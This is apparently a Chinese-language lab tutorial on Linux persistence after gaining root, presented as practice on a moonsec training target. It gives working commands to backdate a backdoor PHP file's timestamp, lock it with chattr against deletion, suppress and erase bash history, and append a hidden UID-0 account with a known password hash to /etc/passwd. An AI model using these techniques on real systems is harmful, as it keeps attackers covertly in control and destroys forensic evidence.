文中主要讲解Linux权限维持中的小技巧,通过了解掌握文件锁、文件属性、清除历史、passwd添加管理账号等方式,更快知晓权限维持作用。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
修改文件/终端属性
1、 文件创建时间
假设防守方通过文件修改的时间来判断文件是否是后门,那么我们可以通过下面的命令来解决此问题:
touch -r test.php list.php
从图中可以看出 后面创建的这个文件和前面的时间是一致的:
假如我们需要上传文件,需要修改此文件的时间,同样可以使用这个方法来修改时间:
通过图中可以看出上传上来的list.php时间为36分,但使用命令后,查看时间已变成34分。
2、文件锁定:
chattr这个命令是用来防止root和其他管理用户误删除和修改重要文件及目录。
chattr +i list.php #锁定文件
可以看到当锁定后,连root用户都无法删除。
查看文件的属性:
lsattr #来查看,可以看出list为锁定文件。
chattr -i list.php # 解除锁定
3、历史操作命令:
history
当我们使用[space]set +o history #[space]为空格。
使用这个命令后,之后的操作会临时不计入历史功能里面。
set +o history #注:set前有空格
使用后,可以看出只有之前我们操作的命令,包括[space]set +o history都没有记录在里面
set -o history
使用后,后续执行的命令又重新记录在里面。
我们同样可以从历史记录中去进行删除:
假设我们需要在历史记录中删除带ls的:
history | grep "ls" #将带ls的从历史记录中筛选出来
history -d 22 #从历史记录中删除第23条命令
同样可以批量的删除历史记录:
sed -i '20,$d' ~/.bash_history #批量删除历史记录,只保留前20的命令
history -c #清空历史记录:
rm -rf ~/.bash_history #删除历史记录文件。
4、passwd添加用户
/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周
期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
我们来增加一个超级用户:
先执行命令来生成密码
perl -le 'print crypt("123456","salt")'
然后写入passwd文件中去。 这个我们要确定passwd文件必须写入的权限:
ls -al /etc/passwd
进行构造,然后写入文件中:
echo "L123:sahL5d5V.UWtI:0:0:/root:/bin/bash" >> /etc/passwd
此方法主要用于权限维持,所以通常运用的场景是在已获得root权限的情况下
假设对方已经将漏洞修复,且root密码也修改了,但没有对passwd文件检查。
那么我们就可以通过L123这个账号进行登陆:
同样是root权限。